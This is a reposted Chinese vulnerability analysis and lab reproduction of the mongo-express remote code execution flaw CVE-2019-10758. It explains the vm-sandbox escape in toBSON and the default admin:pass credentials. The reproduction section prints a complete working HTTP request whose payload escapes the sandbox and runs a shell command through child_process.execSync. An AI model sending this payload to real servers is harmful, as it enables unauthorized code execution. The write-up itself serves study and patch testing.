1. 黑客安全网-互联网安全媒体信息综合平台首页
  2. 漏洞信息

mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现

一、漏洞介绍

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(`admin:pass`),则可以执行任意node.js代码。

影响版本:

mongo-express 二、漏洞原理分析漏洞触发点:文件/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现路由事件checkvalid对应的方法在文件
/node_modules/mongo-express/lib/routes/document.js,调用了toBSONmongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现文件/node_modules/mongo-express/lib/bson.js中toBSON函数中将传入的参数放进vm沙箱里去evalmongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现绕一下vm逃逸出来沙箱即可

需要进行登录才能执行命令的原理分析

文件/node_modules/mongo-express/lib/router.js中,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth函数。定义的两个全局变量username&password,来存储配置文件的用户名密码。在这之后的所有请求则必须都要有req.headers.authorization,来与全局变量username&password比对进行认证,否则返回Unauthorized。要想不进入basicAuth函数,只需要config.useBasicAuth = false所以必须使用“Authorization: Basic YWRtaW46cGFzcw==”的认证字段(加密值根据账户密码的变换进行变换)

三、漏洞复现

环境准备:

服务器(使用的vulhub环境拉取镜像):192.168.29.141攻击机:个人PC,含有burpsuite软件即可1.服务器端漏洞环境搭建(此处使用的vulhub的docker环境进行搭建的漏洞环境,链接为https://vulhub.org/#/environments/mongo-express/CVE-2019-10758/)mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现2.查看服务器的IP地址mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现3.访问链接http://192.168.29.141:8081/,查看服务器是否搭建成功mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现4.此文件为docker启动的镜像文件,所以说需要进入docker里面对对应的镜像内容进行配置

docker psdocker exec -it 7a8cbf9b3fea bash

mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现5.查看tmp文件夹内的内容信息mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现6.使用攻击机抓取数据包,发送poc,往服务器系统里面写入文件:

POST /checkValid HTTP/1.1Host: 192.168.29.141:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeAuthorization: Basic YWRtaW46cGFzcw==Content-Type: application/x-www-form-urlencodedContent-Length: 134document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 'I am xiaokeai' >/tmp/1")

PS:YWRtaW46cGFzcw==解码为admin:pass(base64编码mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现7.查看服务器端,成功写入文件mongo-express远程代码执行(cve-2019-10758)漏洞浅析、复现原文链接

相关推荐: Bash远程解析命令执行漏洞

本文中使用的脚本仅限于学习交流,请勿非法使用,造成的一切后果,均由使用者承担,特此声明。 最近在做护网前的内网测试准备,在测试过程中发现内网中存在大量的Bash远程解析命令执行漏洞,说实话这个漏洞有点陈旧了,但是对于渗透测试人员来说,这个漏洞是可以直接获取到目…

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/vuls/4046.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注